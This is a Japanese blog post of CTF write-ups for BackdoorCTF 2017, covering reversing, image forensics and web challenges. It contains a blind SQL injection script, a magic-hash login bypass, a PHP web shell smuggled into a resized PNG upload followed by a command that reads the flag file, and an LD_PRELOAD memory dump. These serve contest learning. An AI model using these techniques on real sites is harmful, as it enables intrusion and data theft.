st98 の日記帳


[ctf] BackdoorCTF 2017 の write-up

チーム Harekaze で BackdoorCTF 2017 に参加しました。最終的にチームで 3000 点を獲得し、順位は得点 212 チーム中 9 位でした。うち、私は 8 問を解いて 2350 点を入れました。

以下、解いた問題の write-up です。

THE-WALL (100)

URL と以下のようなソースが与えられました。

<html>
<head>
<title>The Wall</title>
</head>
<body>
<?php
include 'flag.php';

if(isset($_REQUEST['life'])&&isset($_REQUEST['soul'])){
    $username = $_REQUEST['life'];
    $password = $_REQUEST['soul'];

    if(!(is_string($username)&&is_string($password))){
        header( "refresh:1;url=login.html");
        die("You are not allowed south of wall");
    }

    $password = md5($password);
    
    include 'connection.php';
    /*CREATE TABLE IF NOT EXISTS users(id INTEGER PRIMARY KEY AUTOINCREMENT,username TEXT,password TEXT,role TEXT)*/

    $message = "";
    if(preg_match('/(union|\|)/i', $username)){
        $message="Dead work alone not in UNIONs"."</br>";
        echo $message;
        die();
    }
    $query = "SELECT * FROM users WHERE username='$username'";
    $result = $pdo->query($query);
    $users = $result->fetchArray(SQLITE3_ASSOC);

    if($users) {
        if($password == $users['password']){
            if($users['role']=="admin"){
                echo "Here is your flag: $flag";
            }elseif($users['role']=="normal"){
                $message = "Welcome, ".$users['users']."</br>";
                $message.= "Unfortunately, only Lord Commander can access flag";
            }else{
                $message = "What did you do?";
            }
        }
        else{
            $message = "Wrong identity for : ".$users['username'];
        }

    }
    else{
        $message = "No such person exists"."<br>";
    }
    echo $message;
}else{
    header( "refresh:1;url=login.html");
    die("Only living can cross The Wall");
}
?>

</body>
</html>

ログイン時に SQLi ができますが、union は使えないようです。情報を抜き出す際には Blind SQLi をしましょう。

ユーザ名に ' or role='admin';-- を入力すると Wrong identity for : LordCommander と表示されました。どうやら LordCommander が admin のようです。パスワードを抜き出すスクリプトを書きましょう。

import requests
import urllib.parse

def check(s):
  return b'No such person exists' not in s

url = 'http://163.172.176.29/WALL/index.php'
query = "' or (select substr(password, {}, 1) <= char({}) from users where username = 'LordCommander');--"

i = 1
res = ''

while True:
  high = 0x7e
  low = -1

  while abs(high - low) > 1:
    mid = (high + low) // 2

    c = requests.post(url, data={
      'life': query.format(i, mid),
      'soul': ''
    })

    if check(c.content):
      high = mid
    else:
      low = mid

  res += chr(high)
  print(i, repr(res))
  i += 1

実行すると 0e5650... のようなパスワードであると分かりました。パスワードの比較処理に if($password == $users['password']){ と緩い比較が使われていることから、Magic Hash が通りそうです。

ユーザ名に LordCommander パスワードに 240610708 を入力するとフラグが得られました。

IMAGEREV (200)

画像の暗号化を行う encrypt.py と、これによって暗号化された encrypted.txt が与えられました。encrypt.py は以下のような内容でした。

from PIL import Image

def bin_return(dec):
    return(str(format(dec,'b')))

def bin_8bit(dec):
    return(str(format(dec,'08b')))

def convert_32bit(dec):
    return(str(format(dec,'032b')))

def convert_64bit(dec):
    return(str(format(dec,'064b')))

def hex_return(dec):
    return expand(hex(dec).replace('0x','').replace('L',''))

def dec_return_bin(bin_string):
    return(int(bin_string,2))

def dec_return_hex(hex_string):
    return(int(hex_string,16))

def some_LP(l,n):
    l1=[]
    j=0
    k=n
    while k<len(l)+1:
        l1.append(l[j:k])
        j=k
        k+=n 
    return(l1)

def rotate_right(bit_string,n):
    bit_list = list(bit_string)
    count=0
    while count <= n-1:
        list_main=list(bit_list)
        var_0=list_main.pop(-1)
        list_main=list([var_0]+list_main)
        bit_list=list(list_main)
        count+=1
    return(''.join(list_main))

def shift_right(bit_string,n):
    bit_list=list(bit_string)
    count=0
    while count <= n-1:
        bit_list.pop(-1)
        count+=1
    front_append=['0']*n
    return(''.join(front_append+bit_list))

def addition(input_set):
    value=0
    for i in range(len(input_set)):
        value+=input_set[i]
    mod_32 = 4294967296
    return(value%mod_32)

def str_xor(s1,s2):
    return ''.join([str(int(i)^int(j)) for i,j in zip(s1,s2)])

def str_and(s1,s2):
    return ''.join([str(int(i)&int(j)) for i,j in zip(s1,s2)])

def str_not(s):
    return ''.join([str(int(i)^1) for i in s])

def not_and_and_xor(x,y,z):
    return(str_xor(str_and(x,y),str_and(str_not(x),z)))

def and_and_and_xor_xor(x,y,z):
    return(str_xor(str_xor(str_and(x,y),str_and(x,z)),str_and(y,z)))

def some_e0(x):
    return(str_xor(str_xor(rotate_right(x,2),rotate_right(x,13)),rotate_right(x,22)))

def some_e1(x):
    return(str_xor(str_xor(rotate_right(x,6),rotate_right(x,11)),rotate_right(x,25)))

def some_s0(x):
    return(str_xor(str_xor(rotate_right(x,7),rotate_right(x,18)),shift_right(x,3)))

def some_s1(x):
    return(str_xor(str_xor(rotate_right(x,17),rotate_right(x,19)),shift_right(x,10)))

def expand(s):
	return '0'*(8-len(s))+s

def get_pixels_list(filename):
    im = Image.open(filename)
    return list(im.getdata())

def data_encrypted(list_of_pixels):
	data = ''
	for i in list_of_pixels:
		d = ''.join([chr(j) for j in i])
		d = encryption(d)
		data += ''.join(d)
		print len(data)
	return data

def message_pad(bit_list):
    pad_one = bit_list + '1'
    pad_len = len(pad_one)
    k=0
    while ((pad_len+k)-448)%512 != 0:
        k+=1
    back_append_0 = '0'*k
    back_append_1 = convert_64bit(len(bit_list))
    return(pad_one+back_append_0+back_append_1)

def message_bit_return(string_input):
    bit_list=[]
    for i in range(len(string_input)):
        bit_list.append(bin_8bit(ord(string_input[i])))
    return(''.join(bit_list))

def message_pre_pro(input_string):
    bit_main = message_bit_return(input_string)
    return(message_pad(bit_main))

def message_parsing(input_string):
    return(some_LP(message_pre_pro(input_string),32))

def message_schedule(index,w_t):
    new_word = convert_32bit(addition([int(some_s1(w_t[index-2]),2),int(w_t[index-7],2),int(some_s0(w_t[index-15]),2),int(w_t[index-16],2)]))
    return(new_word)

initial=['6a09e667','bb67ae85','3c6ef372','a54ff53a','510e527f','9b05688c','1f83d9ab','5be0cd19']

values=['428a2f98','71374491','b5c0fbcf','e9b5dba5','3956c25b','59f111f1','923f82a4','ab1c5ed5','d807aa98','12835b01','243185be','550c7dc3','72be5d74','80deb1fe','9bdc06a7','c19bf174','e49b69c1','efbe4786','0fc19dc6','240ca1cc','2de92c6f','4a7484aa','5cb0a9dc','76f988da','983e5152','a831c66d','b00327c8','bf597fc7','c6e00bf3','d5a79147','06ca6351','14292967','27b70a85','2e1b2138','4d2c6dfc','53380d13','650a7354','766a0abb','81c2c92e','92722c85','a2bfe8a1','a81a664b','c24b8b70','c76c51a3','d192e819','d6990624','f40e3585','106aa070','19a4c116','1e376c08','2748774c','34b0bcb5','391c0cb3','4ed8aa4a','5b9cca4f','682e6ff3','748f82ee','78a5636f','84c87814','8cc70208','90befffa','a4506ceb','bef9a3f7','c67178f2']

def encryption(input_string):
    w_t=message_parsing(input_string)
    a=convert_32bit(dec_return_hex(initial[0]))
    b=convert_32bit(dec_return_hex(initial[1]))
    c=convert_32bit(dec_return_hex(initial[2]))
    d=convert_32bit(dec_return_hex(initial[3]))
    e=convert_32bit(dec_return_hex(initial[4]))
    f=convert_32bit(dec_return_hex(initial[5]))
    g=convert_32bit(dec_return_hex(initial[6]))
    h=convert_32bit(dec_return_hex(initial[7]))
    for i in range(0,64):
        if i <= 15:
            t_1=addition([int(h,2),int(some_e1(e),2),int(not_and_and_xor(e,f,g),2),int(values[i],16),int(w_t[i],2)])
            t_2=addition([int(some_e0(a),2),int(and_and_and_xor_xor(a,b,c),2)])
            h=g
            g=f
            f=e
            e=addition([int(d,2),t_1])
            d=c
            c=b
            b=a 
            a=addition([t_1,t_2])
            a=convert_32bit(a)
            e=convert_32bit(e)
        if i > 15:
            w_t.append(message_schedule(i,w_t))
            t_1=addition([int(h,2),int(some_e1(e),2),int(not_and_and_xor(e,f,g),2),int(values[i],16),int(w_t[i],2)])
            t_2=addition([int(some_e0(a),2),int(and_and_and_xor_xor(a,b,c),2)])
            h=g
            g=f
            f=e
            e=addition([int(d,2),t_1])
            d=c
            c=b
            b=a 
            a=addition([t_1,t_2])
            a=convert_32bit(a)
            e=convert_32bit(e)
    value_0 = addition([dec_return_hex(initial[0]),int(a,2)])
    value_1 = addition([dec_return_hex(initial[1]),int(b,2)])
    value_2 = addition([dec_return_hex(initial[2]),int(c,2)])
    value_3 = addition([dec_return_hex(initial[3]),int(d,2)])
    value_4 = addition([dec_return_hex(initial[4]),int(e,2)])
    value_5 = addition([dec_return_hex(initial[5]),int(f,2)])
    value_6 = addition([dec_return_hex(initial[6]),int(g,2)])
    value_7 = addition([dec_return_hex(initial[7]),int(h,2)])
    value = (hex_return(value_0),hex_return(value_1),hex_return(value_2),hex_return(value_3),hex_return(value_4),hex_return(value_5),hex_return(value_6),hex_return(value_7))
    return(value)

list_pixels = get_pixels_list('./flag.png')
data = data_encrypted(list_pixels)
f = open('./encrypted.txt','w')
f.write(data)
f.close()

flag.png を読み込んで 1 ピクセルずつ encryption でハッシュ化し、全てのハッシュ値を結合したものを encrypted.txt に書き込んでいるようです。

''.join(encryption('a')) を実行すると ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807785afee48bb という文字列が返ってきました。どうやら encryption は SHA-256 のようです。

出現するハッシュと色の対応をブルートフォースで調べると、以下のような結果が得られました。

7b108f7c5c6f1507c4ffe2275dd9b8e25a71d175a5a9d3e19aeec3f27d82caf1: 207, 207, 207
f1b901847390b0ed7e374e7c1e464ec17b46a427c487a5ad6cbd2906405083d5: 96, 96, 96
ac205167ca956b408a925c3854fdd82ffa43672263ae7dba5a68b29d9a81fa56: 191, 191, 191
709e80c88487a2411e1ee4dfb9f22a861492d20c4765150c0c794abd70f8147c: 0, 0, 0
700af1feb55ab0613bdbc466815643743156af4e869120244eb05ca72c45002c: 175, 175, 175
204164d223b35aabb54ea32b1d14d8bb5a8df56f7c81f3304987fa4193426729: 80, 80, 80
91737e71235959a56c524997e18d6d14d6ddd714ed2a450a24f765255a2733ee: 159, 159, 159
c4289629b08bc4d61411aaa6d6d4a0c3c5f8c1e848e282976e29b6bed5aeedc7: 112, 112, 112
0aad7da77d2ed59c396c99a74e49f3a4524dcdbcb5163251b1433d640247aeb4: 32, 32, 32
5ae7e6a42304dc6e4176210b83c43024f99a0bce9a870c3b6d2c95fc8ebfb74c: 255, 255, 255
2ac9a6746aca543af8dff39894cfe8173afba21eb01c6fae33d52947222855ef: 48, 48, 48
5ae0d5195906bfc4f70167cf171ae4d08e7376aa246977acf172187d5d384f10: 239, 239, 239
8ae40a3583aef6697d2c2eff57eb915ed0bda54aaa92812ad97982743ac06f37: 128, 128, 128
2ec847d8a31a988b3117a5095dae74f490448223f035ec7eddef6768b91a9028: 64, 64, 64
ab5ab0fedc83e5a1a1871c427eccbcd3cf0fc1bb74a82a552adfd9b4e57f391b: 16, 16, 16
b9e8d0a22760b87553c0b9c55ae93058bf8d4389c87765488cea1637e94bd9b6: 143, 143, 143
a30cb1d8569c5c141b2ade1caf57038b2be46c9bc4939c8f702a0ff4fcecfd77: 223, 223, 223

この結果をもとに以下のスクリプトを実行するとフラグが得られました。

import re
from PIL import Image

d = {
  "7b108f7c5c6f1507c4ffe2275dd9b8e25a71d175a5a9d3e19aeec3f27d82caf1": (207, 207, 207),
  "f1b901847390b0ed7e374e7c1e464ec17b46a427c487a5ad6cbd2906405083d5": (96, 96, 96),
  "ac205167ca956b408a925c3854fdd82ffa43672263ae7dba5a68b29d9a81fa56": (191, 191, 191),
  "709e80c88487a2411e1ee4dfb9f22a861492d20c4765150c0c794abd70f8147c": (0, 0, 0),
  "700af1feb55ab0613bdbc466815643743156af4e869120244eb05ca72c45002c": (175, 175, 175),
  "204164d223b35aabb54ea32b1d14d8bb5a8df56f7c81f3304987fa4193426729": (80, 80, 80),
  "91737e71235959a56c524997e18d6d14d6ddd714ed2a450a24f765255a2733ee": (159, 159, 159),
  "c4289629b08bc4d61411aaa6d6d4a0c3c5f8c1e848e282976e29b6bed5aeedc7": (112, 112, 112),
  "0aad7da77d2ed59c396c99a74e49f3a4524dcdbcb5163251b1433d640247aeb4": (32, 32, 32),
  "5ae7e6a42304dc6e4176210b83c43024f99a0bce9a870c3b6d2c95fc8ebfb74c": (255, 255, 255),
  "2ac9a6746aca543af8dff39894cfe8173afba21eb01c6fae33d52947222855ef": (48, 48, 48),
  "5ae0d5195906bfc4f70167cf171ae4d08e7376aa246977acf172187d5d384f10": (239, 239, 239),
  "8ae40a3583aef6697d2c2eff57eb915ed0bda54aaa92812ad97982743ac06f37": (128, 128, 128),
  "2ec847d8a31a988b3117a5095dae74f490448223f035ec7eddef6768b91a9028": (64, 64, 64),
  "ab5ab0fedc83e5a1a1871c427eccbcd3cf0fc1bb74a82a552adfd9b4e57f391b": (16, 16, 16),
  "b9e8d0a22760b87553c0b9c55ae93058bf8d4389c87765488cea1637e94bd9b6": (143, 143, 143),
  "a30cb1d8569c5c141b2ade1caf57038b2be46c9bc4939c8f702a0ff4fcecfd77": (223, 223, 223)
}

with open('encrypted.txt', 'r') as f:
  s = f.read()

n = 7371
w = 351
h = n // w
im = Image.new('RGB', (w, h))
pix = im.load()
for i, h in enumerate(re.findall(r'.{64}', s)):
  pix[i % w, i // w] = d[h]

im.show()

OPEN-CHALLENGE (250)

与えられた URL にアクセスすると、以下のようなソースのページが表示されました。

<!doctype html>
<html class="z-html">
<head>
    <meta charset="utf-8">
    <title>Open Challenge</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">

    <!-- do not cache this page -->
    <meta http-equiv="cache-control" content="max-age=0"/>
    <meta http-equiv="cache-control" content="no-cache"/>
    <meta http-equiv="expires" content="0"/>
    <meta http-equiv="expires" content="Tue, 01 Jan 1980 1:00:00 GMT"/>
    <meta http-equiv="pragma" content="no-cache"/>

    <style>
...
    </style>
</head>

<body class="z-body">
<!-- Hey, you looked into the source for comments! As a bonus for doing so, f0xtr0t grants you this link: https://www.youtube.com/watch?v=-tJYN-eG1zk -->
<div class="z-page">
    <div class="z-form">
        <div class="z-instructions">
            <p class="z-title">Open Challenge!</p>
            <p>Let us see if you can haxor me XD XD</p>
        </div>

        <hr class="z-hr">

        <form id="z-form" action="#" method="post">
            <input id="z-password"
                   type="hidden"
                   name="password"
                   placeholder="hidden away"
		   disabled="true"/>

            <input type="submit" class="z-decrypt-button" value="Clicking me won't help"/>
        </form>
    </div>

</div>

<script
        src="https://code.jquery.com/jquery-3.2.1.min.js"
        integrity="sha256-hwg4gsxgFZhOsEEamdOYGBf13FyQuiTwlAQgxVSNgt4="
        crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.9-1/crypto-js.min.js"></script>

<script>
(めっちゃ長い JSF*ck のコード)
</script>
</body>
</html>

Clicking me won't help というボタンをクリックすると Haha, try again! というアラートが表示されました。どうやら JSF*ck のコード中でこのボタンのクリック時のイベントハンドラの設定を行っているようです。

Chrome の DevTools でこのボタンを選択し、Event Listeners タブで handler の Show function definition を選択すると以下のようなコードが得られました。

$(function() {
    $("#z-form").submit(function(t) {
        t.preventDefault();
        var a = $("#z-password").val()
          , e = "8e15ad6e5f26fe0585707dc97ce967c6ffaac0cacd2037c4c6c63a503ceea1e6U2FsdGVkX1+yNXzSLU+2HUI7GTRvpl9BdTD1OPX5iMZgHlYay52uv5t/UEHRkeKLJyFjgCoV2nxfL17HPAz8e3bQy0tm0VtorCHXuW/IauNEynVQygPQzaob/1eRihkfYf1XW59GQscAf9uDz93Dub7qiIn5WMIH6hzkM1yDbDBXb6U4GdZQWYsqoFStfyBGaQ04DnnrN3qU/kSs3ciVGmWyW3vuPSHw26VwmINr1jF16DKGK8YWBExVgu9zhiNBaxyQIuWs2SX2BVHokVBOKg=="
          , r = e.substring(0, 64)
          , c = e.substring(64);
        if (CryptoJS.HmacSHA256(c, CryptoJS.SHA256(a)).toString() === r) {
            var n = CryptoJS.AES.decrypt(c, a).toString(CryptoJS.enc.Utf8);
            document.write("<html><body><h1>Congratulations!</h1><h2>If you've been following along closely, you should have found the flag by now :P</h2></body></html>")
        } else
            alert("Haha, try again!")
    })
});

どうにかしてパスワードを当てる必要がありそうです。

<!-- Hey, you looked into the source for comments! As a bonus for doing so, f0xtr0t grants you this link: https://www.youtube.com/watch?v=-tJYN-eG1zk --> というコメントのリンクにアクセスすると、どうやらこれは Queen の We Will Rock You の動画のようでした。

rockyou.txt を使ってパスワードを調べるスクリプトを書きましょう。

import hashlib
import hmac

def hmac_sha256(s, k):
  return hmac.new(k, s, hashlib.sha256).hexdigest()

def sha256(s):
  return hashlib.sha256(s).digest()

r = '8e15ad6e5f26fe0585707dc97ce967c6ffaac0cacd2037c4c6c63a503ceea1e6'
c = 'U2FsdGVkX1+yNXzSLU+2HUI7GTRvpl9BdTD1OPX5iMZgHlYay52uv5t/UEHRkeKLJyFjgCoV2nxfL17HPAz8e3bQy0tm0VtorCHXuW/IauNEynVQygPQzaob/1eRihkfYf1XW59GQscAf9uDz93Dub7qiIn5WMIH6hzkM1yDbDBXb6U4GdZQWYsqoFStfyBGaQ04DnnrN3qU/kSs3ciVGmWyW3vuPSHw26VwmINr1jF16DKGK8YWBExVgu9zhiNBaxyQIuWs2SX2BVHokVBOKg=='

with open('/usr/share/dict/rockyou.txt', 'r') as f:
  while True:
    p = f.readline().strip()
    if hmac_sha256(c, sha256(a)) == r:
      print p

実行すると dexter がパスワードであるとわかりました。

DEAD-PNG2 (300)

corrupt.data というファイルが与えられました。file に投げてみましょう。

$ file corrupt.data
corrupt.data: zlib compressed data

Python の zlib.decompress などで展開し、result.bin として保存します。

問題名から PNG の IDAT チャンクのデータではないかと考えて読むと、3D 3D 3D 00 3E 3E 3E 00 07 07 07 00 52 52 52 00 50 50 50 00 のような内容から RGBA の画像であると推測できます。

ですが、result.bin は FF 66 66 66 FF から始まっているため、フィルターのタイプが FF のように壊されていることが考えられます。このような場合には適当なフィルターのタイプを選ぶようにしましょう。

以下のスクリプトを実行するとフラグが得られました。

from math import floor
from PIL import Image

def paeth(a, b, c):
  p = a + b - c
  pa = abs(p - a)
  pb = abs(p - b)
  pc = abs(p - c)

  if pa <= pb and pa <= pc:
    return a
  elif pb <= pc:
    return b
  else:
    return c

w, h = 997, 602

f = open('result.bin', 'rb')
im = Image.new('RGBA', (w, h), (0, 0, 0, 255))
pix = im.load()
prev = []

try:
  for y in range(h):
    m = ord(f.read(1))
    row = []
    pr, pg, pb, pa = 0, 0, 0, 0

    for x in range(w):
      r, g, b, a = f.read(4)

      if m == 4:
        m = 2

      if m == 1:
        # Sub
        r, g, b, a = (r + pr) % 256, (g + pg) % 256, (b + pb) % 256, (a + pa) % 256
      elif m == 2:
        # Up
        r, g, b, a = (r + prev[x][0]) % 256, (g + prev[x][1]) % 256, (b + prev[x][2]) % 256, (a + prev[x][3]) % 256
      elif m == 3:
        # Average
        r = (r + floor((pr + prev[x][0]) / 2)) % 256
        g = (g + floor((pg + prev[x][1]) / 2)) % 256
        b = (b + floor((pb + prev[x][2]) / 2)) % 256
        a = (a + floor((pa + prev[x][3]) / 2)) % 256
      elif m == 4:
        # Paeth
        r = (r + paeth(pr, prev[x][0], prev[x - 1][0] if x > 0 else 0)) % 256
        g = (g + paeth(pg, prev[x][1], prev[x - 1][1] if x > 0 else 0)) % 256
        b = (b + paeth(pb, prev[x][2], prev[x - 1][2] if x > 0 else 0)) % 256
        a = (a + paeth(pa, prev[x][3], prev[x - 1][3] if x > 0 else 0)) % 256

      pix[x, y] = r, g, b, a
      pr, pg, pb, pa = r, g, b, a
      row.append([r, g, b, a])
    prev = row
except:
  pass
  
im.show()

NO-CALM (350)

challenge というファイルが与えられました。file に投げてみましょう。

$ file ./challenge
./challenge: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=19a85aefbf9989c28ef64ae7a1c164882a0fa9af, not stripped

x86_64 の ELF のようです。逆アセンブルすると以下のような処理がありました。

00000000004007e2 <main>:
  4007e2:	55                   	push   rbp
  4007e3:	48 89 e5             	mov    rbp,rsp
  4007e6:	48 83 ec 50          	sub    rsp,0x50
  4007ea:	89 7d bc             	mov    DWORD PTR [rbp-0x44],edi
  4007ed:	48 89 75 b0          	mov    QWORD PTR [rbp-0x50],rsi
  4007f1:	64 48 8b 04 25 28 00 	mov    rax,QWORD PTR fs:0x28
  4007f8:	00 00 
  4007fa:	48 89 45 f8          	mov    QWORD PTR [rbp-0x8],rax
  4007fe:	31 c0                	xor    eax,eax
  400800:	83 7d bc 1f          	cmp    DWORD PTR [rbp-0x44],0x1f
  400804:	74 19                	je     40081f <main+0x3d>
  400806:	bf 80 0e 40 00       	mov    edi,0x400e80                       # "Usage ./challenge <each byte of flag seperated by spaces>"
  40080b:	b8 00 00 00 00       	mov    eax,0x0
  400810:	e8 2b fe ff ff       	call   400640 <printf@plt>
  400815:	bf 01 00 00 00       	mov    edi,0x1
  40081a:	e8 31 fe ff ff       	call   400650 <exit@plt>
  40081f:	c7 45 cc 00 00 00 00 	mov    DWORD PTR [rbp-0x34],0x0
  400826:	8b 45 bc             	mov    eax,DWORD PTR [rbp-0x44]
  400829:	83 e8 01             	sub    eax,0x1
  40082c:	3b 45 cc             	cmp    eax,DWORD PTR [rbp-0x34]
  40082f:	7e 2d                	jle    40085e <main+0x7c>
  400831:	8b 45 cc             	mov    eax,DWORD PTR [rbp-0x34]
  400834:	48 98                	cdqe   
  400836:	48 83 c0 01          	add    rax,0x1
  40083a:	48 8d 14 c5 00 00 00 	lea    rdx,[rax*8+0x0]
  400841:	00 
  400842:	48 8b 45 b0          	mov    rax,QWORD PTR [rbp-0x50]
  400846:	48 01 d0             	add    rax,rdx
  400849:	48 8b 00             	mov    rax,QWORD PTR [rax]
  40084c:	0f b6 10             	movzx  edx,BYTE PTR [rax]
  40084f:	8b 45 cc             	mov    eax,DWORD PTR [rbp-0x34]
  400852:	48 98                	cdqe   
  400854:	88 54 05 d0          	mov    BYTE PTR [rbp+rax*1-0x30],dl
  400858:	83 45 cc 01          	add    DWORD PTR [rbp-0x34],0x1
  40085c:	eb c8                	jmp    400826 <main+0x44>
  40085e:	0f b6 45 d0          	movzx  eax,BYTE PTR [rbp-0x30]
  400862:	0f be d0             	movsx  edx,al
  400865:	0f b6 45 d1          	movzx  eax,BYTE PTR [rbp-0x2f]
  400869:	0f be c0             	movsx  eax,al
  40086c:	01 c2                	add    edx,eax
  40086e:	0f b6 45 d2          	movzx  eax,BYTE PTR [rbp-0x2e]
  400872:	0f be c0             	movsx  eax,al
  400875:	29 c2                	sub    edx,eax
  400877:	89 d0                	mov    eax,edx
  400879:	83 f8 51             	cmp    eax,0x51
  40087c:	0f 85 e4 04 00 00    	jne    400d66 <main+0x584>
  400882:	0f b6 45 d0          	movzx  eax,BYTE PTR [rbp-0x30]
  400886:	0f be d0             	movsx  edx,al
  400889:	0f b6 45 d1          	movzx  eax,BYTE PTR [rbp-0x2f]
  40088d:	0f be c0             	movsx  eax,al
  400890:	29 c2                	sub    edx,eax
  400892:	0f b6 45 d2          	movzx  eax,BYTE PTR [rbp-0x2e]
  400896:	0f be c0             	movsx  eax,al
  400899:	01 d0                	add    eax,edx
  40089b:	83 f8 35             	cmp    eax,0x35
  40089e:	0f 85 bb 04 00 00    	jne    400d5f <main+0x57d>
...
  400c70:	e8 41 fb ff ff       	call   4007b6 <_Z7successv>
  400c75:	e9 f1 00 00 00       	jmp    400d6b <main+0x589>
...
  400d5f:	e8 68 fa ff ff       	call   4007cc <_Z4failv>
  400d64:	eb 05                	jmp    400d6b <main+0x589>
  400d66:	e8 61 fa ff ff       	call   4007cc <_Z4failv>
  400d6b:	b8 00 00 00 00       	mov    eax,0x0
  400d70:	48 8b 4d f8          	mov    rcx,QWORD PTR [rbp-0x8]
  400d74:	64 48 33 0c 25 28 00 	xor    rcx,QWORD PTR fs:0x28
  400d7b:	00 00 
  400d7d:	74 05                	je     400d84 <main+0x5a2>
  400d7f:	e8 1c f9 ff ff       	call   4006a0 <__stack_chk_fail@plt>
  400d84:	c9                   	leave  
  400d85:	c3                   	ret    

./challenge C T F { ... } という感じでフラグを入力し、もし間違っていれば _Z4failv が、合っていれば _Z7successv が呼び出されるようです。

1 文字目と 2 文字目を足して 3 文字目を引いた結果を 0x51 と比較、1 文字目から 2 文字目を引いて 3 文字目を足した結果を 0x35 と比較 … ということを何度も繰り返しているようなので、これらの処理からフラグを逆算してしまいましょう。

以下のスクリプトを実行するとフラグが得られました。

import re
import sys
from z3 import *

s = '''
movzx  eax,BYTE PTR [rbp-0x30]
movsx  edx,al
movzx  eax,BYTE PTR [rbp-0x2f]
movsx  eax,al
add    edx,eax
movzx  eax,BYTE PTR [rbp-0x2e]
...
sub    edx,eax
movzx  eax,BYTE PTR [rbp-0x13]
movsx  eax,al
add    eax,edx
cmp    eax,0x7d
'''.strip()

flag = BitVecs(['x_%d' % x for x in range(30)], 8)
solver = Solver()

m = re.findall(r'''
movzx\s*eax,BYTE PTR \[rbp-0x([0-9a-f]+)\]
movsx\s*edx,al
movzx\s*eax,BYTE PTR \[rbp-0x([0-9a-f]+)\]
movsx\s*eax,al
(add|sub)\s*edx,eax
movzx\s*eax,BYTE PTR \[rbp-0x([0-9a-f]+)\]
movsx\s*eax,al
(add|sub)\s*(eax|edx),(eax|edx)
(mov\s*eax,edx
)?cmp\s*eax,0x([0-9a-f]+)
'''.strip(), s)

for c in flag:
  solver.add(0x20 <= c, c < 0x7f)

for i, j, op1, k, op2, dst, src, f, c in m:
  edx = flag[int(i, 16) - 0x31]
  eax = flag[int(j, 16) - 0x31]
  if op1 == 'add':
    edx += eax
  else:
    edx -= eax
  eax = flag[int(k, 16) - 0x31]
  if op2 == 'add':
    if dst == 'eax':
      eax += edx
    else:
      edx += eax
  else:
    if dst == 'eax':
      eax -= edx
    else:
      edx -= eax
  if f:
    eax = edx
  solver.add(eax == int(c, 16))

r = solver.check()
if r == sat:
  m = solver.model()
else:
  sys.exit(0)

res = ''
for c in flag:
  res += chr(m[c].as_long())
print res[::-1]

IMGER (450)

与えられた URL にアクセスすると、PNG をアップロードできるフォームが表示されました。試しに以下のような内容の a.png をアップロードすると、

a.png (1)

以下のようにリサイズされて /uploads/a.png にアップロードされました。

a.png (2)

a.php というファイル名だと /uploads/a.php にアップロードされました。/uploads/a.php にアクセスするとテキストとして表示されているので、どうやら PHP ファイルとして実行されているようです。

リサイズされると IDAT チャンクに PHP のコードが含まれるようになる PNG を作りましょう。

Python とペイントで調整しながら以下のような PNG を作成してアップロードすると、

shell.png (1)

IDAT チャンクが以下のように <?=SYSTEM($_GET["A"]);?> から始まる形に圧縮されました。

shell.png (2)

shell.php というファイル名でアップロードし、/uploads/shell.php?A=cat%20../flag.php にアクセスするとフラグが得られました。

OPEN-DESIGN (400)

SSH の接続情報が与えられました。

接続するとホームディレクトリに open-design という実行ファイルがありました。ls -la で権限を見てみると、どうやら実行権限のみで読み取り権限はないようです。

rev問のソルバを書くときとかに使えるかもしれない小テク - しゃろの日記を参考に __libc_start_main を差し替えてメモリをダンプしてみましょう。

// gcc -o a.so a.c -shared -fPIC && LD_PRELOAD=./a.so /home/vampire/open-design
#include <stdio.h>
#include <stdlib.h>
int __libc_start_main (int (*main) (int, char **, char **), int argc, char **argv, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void *stack_end){
  int i, j;
  for (i = 0; i < 0x400; i++) {
    printf("%p: ", ((unsigned char *) main) + i * 16);
    for (j = 0; j < 16; j++) {
      printf("%02x ", ((unsigned char *) main)[i * 16 + j]);
    }
    putchar('\n');
  }
  exit(0);
}
$ gcc -o a.so a.c -shared -fPIC
$ LD_PRELOAD=./a.so /home/vampire/open-design
0x4007b8: 55 48 89 e5 b8 00 00 00 00 5d c3 66 2e 0f 1f 84 
0x4007c8: 00 00 00 00 00 0f 1f 00 41 57 41 56 41 89 ff 41 
0x4007d8: 55 41 54 4c 8d 25 2e 06 20 00 55 48 8d 2d 2e 06 
0x4007e8: 20 00 53 49 89 f6 49 89 d5 4c 29 e5 48 83 ec 08 
0x4007f8: 48 c1 fd 03 e8 c7 fc ff ff 48 85 ed 74 20 31 db 
0x400808: 0f 1f 84 00 00 00 00 00 4c 89 ea 4c 89 f6 44 89 
0x400818: ff 41 ff 14 dc 48 83 c3 01 48 39 eb 75 ea 48 83 
0x400828: c4 08 5b 5d 41 5c 41 5d 41 5e 41 5f c3 90 66 2e 
0x400838: 0f 1f 84 00 00 00 00 00 f3 c3 00 00 48 83 ec 08 
0x400848: 48 83 c4 08 c3 00 00 00 01 00 02 00 00 00 00 00 
...

main (0x4007b8) を逆アセンブルしてみましょう。

   0:    55                       push   rbp
   1:    48 89 e5                 mov    rbp, rsp
   4:    b8 00 00 00 00           mov    eax, 0x0
   9:    5d                       pop    rbp
   a:    c3                       ret

return 0 だけのようです。他に何か関数がないか探してみましょう。

0x400000 からメモリをダンプして push rbp; mov rbp, rsp を探すと 0x400673 に怪しげな関数を見つけました。逆アセンブルしましょう。

  c1:    55                       push   rbp
  c2:    48 89 e5                 mov    rbp, rsp
  c5:    53                       push   rbx
  c6:    48 83 ec 58              sub    rsp, 0x58
  ca:    48 89 7d a8              mov    QWORD PTR [rbp-0x58], rdi
  ce:    64 48 8b 04 25 28 00     mov    rax, QWORD PTR fs:0x28
  d5:    00 00  
  d7:    48 89 45 e8              mov    QWORD PTR [rbp-0x18], rax
  db:    31 c0                    xor    eax, eax
  dd:    c7 45 b0 01 00 00 00     mov    DWORD PTR [rbp-0x50], 0x1
  e4:    c7 45 b4 00 00 00 00     mov    DWORD PTR [rbp-0x4c], 0x0
  eb:    48 c7 45 b8 58 08 40     mov    QWORD PTR [rbp-0x48], 0x400858
  f2:    00  
  f3:    eb 3f                    jmp    0x134
